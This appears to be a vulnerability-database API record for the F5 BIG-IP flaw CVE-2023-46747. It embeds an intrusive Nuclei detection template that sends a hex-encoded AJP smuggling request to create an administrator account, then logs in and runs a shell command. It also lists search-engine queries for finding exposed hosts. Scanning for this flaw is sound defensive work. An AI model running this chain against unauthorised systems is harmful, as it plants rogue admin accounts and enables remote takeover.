{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-46747/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-46747/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-46747/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-46747/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-46747/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-46747"},"sightings":{"href":"/api/v1/sightings/cve-2023-46747"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-46747.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-46747\n\ninfo:\n  name: F5 BIG-IP - Unauthenticated RCE via AJP Smuggling\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    CVE-2023-46747 is a critical severity authentication bypass vulnerability in F5 BIG-IP that could allow an unauthenticated attacker to achieve remote code execution (RCE). The vulnerability impacts the BIG-IP Configuration utility, also known as the TMUI, wherein arbitrary requests can bypass authentication. The vulnerability received a CVSSv3 score of 9.8.\n  impact: |\n    Unauthenticated attackers can bypass authentication and achieve remote code execution on BIG-IP systems, potentially compromising critical network infrastructure.\n  remediation: |\n    Apply F5's security patches immediately. Affected versions include BIG-IP 17.1.0, 16.1.0 - 16.1.4, 15.1.0 - 15.1.10, 14.1.0 - 14.1.5, and 13.1.0 - 13.1.5.\n  reference:\n    - https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/\n    - https://my.f5.com/manage/s/article/K000137353\n    - http://packetstormsecurity.com/files/175673/F5-BIG-IP-TMUI-AJP-Smuggling-Remote-Command-Execution.html\n    - https://www.secpod.com/blog/f5-issues-warning-big-ip-vulnerability-used-in-active-exploit-chain/\n    - https://github.com/f1tao/awesome-iot-security-resource\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-46747\n    cwe-id: CWE-306,CWE-288\n    epss-score: 0.96515\n    epss-percentile: 0.9988\n    cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 7\n    vendor: f5\n    product: big-ip_access_policy_manager\n    shodan-query:\n      - http.title:\"BIG-IP®-+Redirect\" +\"Server\"\n      - http.title:\"big-ip®-+redirect\" +\"server\"\n    fofa-query: title=\"big-ip®-+redirect\" +\"server\"\n    google-query: intitle:\"big-ip®-+redirect\" +\"server\"\n  tags: cve2023,cve,packetstorm,rce,f5,bigip,unauth,ajp,smuggling,intrusive,kev,vkev,vuln\nvariables:\n  username: \"{{hex_encode(rand_base(5))}}\"\n  password: \"{{hex_encode(rand_base(12))}}\"\n  password2: \"{{rand_base(14)}}\"\n\nhttp:\n  - raw:\n      - |+\n        POST /tmui/login.jsp HTTP/1.1\n        Host: {{Hostname}}\n        Transfer-Encoding: chunked, chunked\n        Content-Type: application/x-www-form-urlencoded\n\n        204\n        {{ hex_decode(concat(\"0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d\",username,\"266e616d655f6265666f72653d267061737377643d\",password,\"267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00\")) }}\n        0\n\n    unsafe: true\n\n  - raw:\n      - |+\n        PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{base64(hex_decode(username)+\":\"+hex_decode(password))}}\n        Content-Type: application/json\n\n        {\"password\": \"{{password2}}\"}\n\n      - |+\n        POST /mgmt/shared/authn/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"username\":\"{{hex_decode(username)}}\", \"password\":\"{{pass}}\"}\n\n      - |+\n        POST /mgmt/tm/util/bash HTTP/1.1\n        Host: {{Hostname}}\n        X-F5-Auth-Token: {{token}}\n        Content-Type: application/json\n\n        {\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}\n\n    payloads:\n      pass:\n        - '{{password2}}'\n        - '{{hex_decode(password)}}'\n    skip-variables-check: true\n    stop-at-first-match: true\n\n    extractors:\n      - type: regex\n        part: body_2\n        name: token\n        group: 1\n        regex:\n          - \"([A-Z0-9]{26})\"\n        internal: true\n\n      - type: regex\n        part: body_3\n        group: 1\n        regex:\n          - \"\\\"commandResult\\\":\\\"(.*)\\\"\"\n\n      - type: dsl\n        dsl:\n          - '\"Username:\" + hex_decode(username)'\n          - '\"Password:\" + pass'\n          - '\"Token:\" + token'\n    matchers:\n      - type: word\n        words:\n          - \"commandResult\"\n          - \"uid=\"\n        condition: and\n# digest: 4a0a00473045022100a0caf669ed6f87f471bf6d9860d9508813c1caf859805207ef22eb455ef0c0a602204375b6de017b7d300da60253caefc9bc0a1edddb5378be713e6a6d12884ca886:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-46747"}